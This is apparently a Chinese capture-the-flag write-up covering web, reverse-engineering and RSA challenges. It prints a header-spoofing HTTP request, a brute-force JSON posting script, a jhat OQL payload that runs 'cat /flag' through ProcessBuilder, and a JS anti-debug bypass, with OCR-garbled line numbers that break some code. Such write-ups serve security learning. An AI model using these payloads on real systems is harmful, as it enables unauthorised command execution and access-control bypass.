Info

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WEB

ezHTTP

按照要求修改http报文,发送正确报文直接给flag。

```
1 | GET http://47.102.130.35:32310/ HTTP/1.1
 2 Host: 47.102.130.35:32310
 3 | Cache-Control: max-age=0
4 Upgrade-Insecure-Requests: 1
 5 User-Agent: Mozilla/5.0 (Vidar; VidarOS x86_64)
   ApplewebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0
   Safari/537.36 Edg/121.0.0.0
 6 referer: vidar.club
 7 X-Real-IP: 127.0.0.1
 8 Accept:
   text/html,application/xhtml+xml,application/xml;q=0.9,ima
   ge/avif,image/webp,image/apng,*/*;q=0.8,application/signe
   d-exchange; v=b3; q=0.7
9 Accept-Encoding: gzip, deflate
10 Accept-Language: en-US, en; q=0.9, zh-CN; q=0.8, zh; q=0.7, en-
   GB; q=0.6, no; q=0.5
11 Connection: close
```

Select Courses

非预期了,有概率实现json解析变量覆盖。

```
import requests,json,random
 2
 3 aim_url = "http://47.100.137.175:32009/api/courses"
  headers = {
 4
   "Host": "47.100.137.175:32009",
 5
   "Content-Type": "application/json",
 6
   "origin": "http://47.100.137.175:32009",
 7
   "Referer": "http://47.100.137.175:32009/"
8
   }
9
10
   def generate_data():
11
       data_key = ["id","full","status","is_full"]
12
       data_val = [2,0,True,False]
13
       for i in range(random.randint(0, 3)):
14
15
           data_key.pop()
16
           data_val.pop()
17
       1 = list(zip(data_key, data_val))
       random.shuffle(1)
18
       post_data = dict(1)
19
20
       json_data = json.dumps(post_data)
21
22
        return json_data
23
24 text = ""
   while text.find("\"full\":1")!=-1 or text=="":
25
        rsp = requests.post(aim_url, data=generate_data(),
26
   headers=headers, verify=False)
       rsp.encoding = "utf-8"
27
28
       text = rsp.text
   print(text)
29
30
```

jhat

一开始光顾着分析内存信息了,疑惑为什么找不到和flag相关的东西,后面发现OQL有命令执行就直接一把嗦。

```
1  new java.util.Scanner(new
  java.lang.ProcessBuilder(["cat","/flag"]).start().getInput
  Stream(),"utf-8").next()
```

Bypass it

没反应过来想考什么,禁用浏览器加载js,然后注册账号再登进去就有flag了。

2048*16

打开devtool搜索game找到这段生成flag的代码

```
1 g[h(432)][h(469)] = function(x) {
2     var n = h
3     , e = x ? "game-won" : n(443)
4     , t = x ? s0(n(439),
     "V+g5LpoEej/fyOnPNivz9SswHIhGaDOmU8CuXb72dB1xYMrZFRAl=QcTq
6JkwK4t3") : n(453);
5     this[n(438)][n(437)].add(e),
6     this[n(438)][n(435)]("p")[-1257 * -5 + 9 * 1094 +
     -5377 * 3].textContent = t
7 }
```

执行函数得到flag

```
console.log(s0("I7R8ITMCnzbCn5eFIC=6yliXfzN=I5NMnz0XIC==yz
ycysi70ci7y7iK",
"V+g5LpoEej/fy0nPNivz9SswHIhGaDOmU8CuXb72dB1xYMrZFRAl=QcTq
6JkWK4t3"))
```

对于反debug绕过我直接把"debu"和"action"字符串给去了。

RE

ezIDA

用IDA打开就看到了flag

ezASM

对flag进行了一个异或

Crypto

ezRSA

```
8 n = leak1 * leak2
9 phi = n - leak1 - leak2 + 1
10 d = inverse(e, phi)
|11| p = pow(leak1, d, n)
12 q = n // p
13
14 # 计算私钥
15 private_key = (p, q)
16
17 # 解密密文
18 \mid m = pow(c, d, n)
19
20 # 将解密后的长整数转换为字节串
21 plaintext = m.to_bytes((m.bit_length() + 7) // 8,
   byteorder='big')
22 print("Decrypted plaintext:", plaintext.decode())
```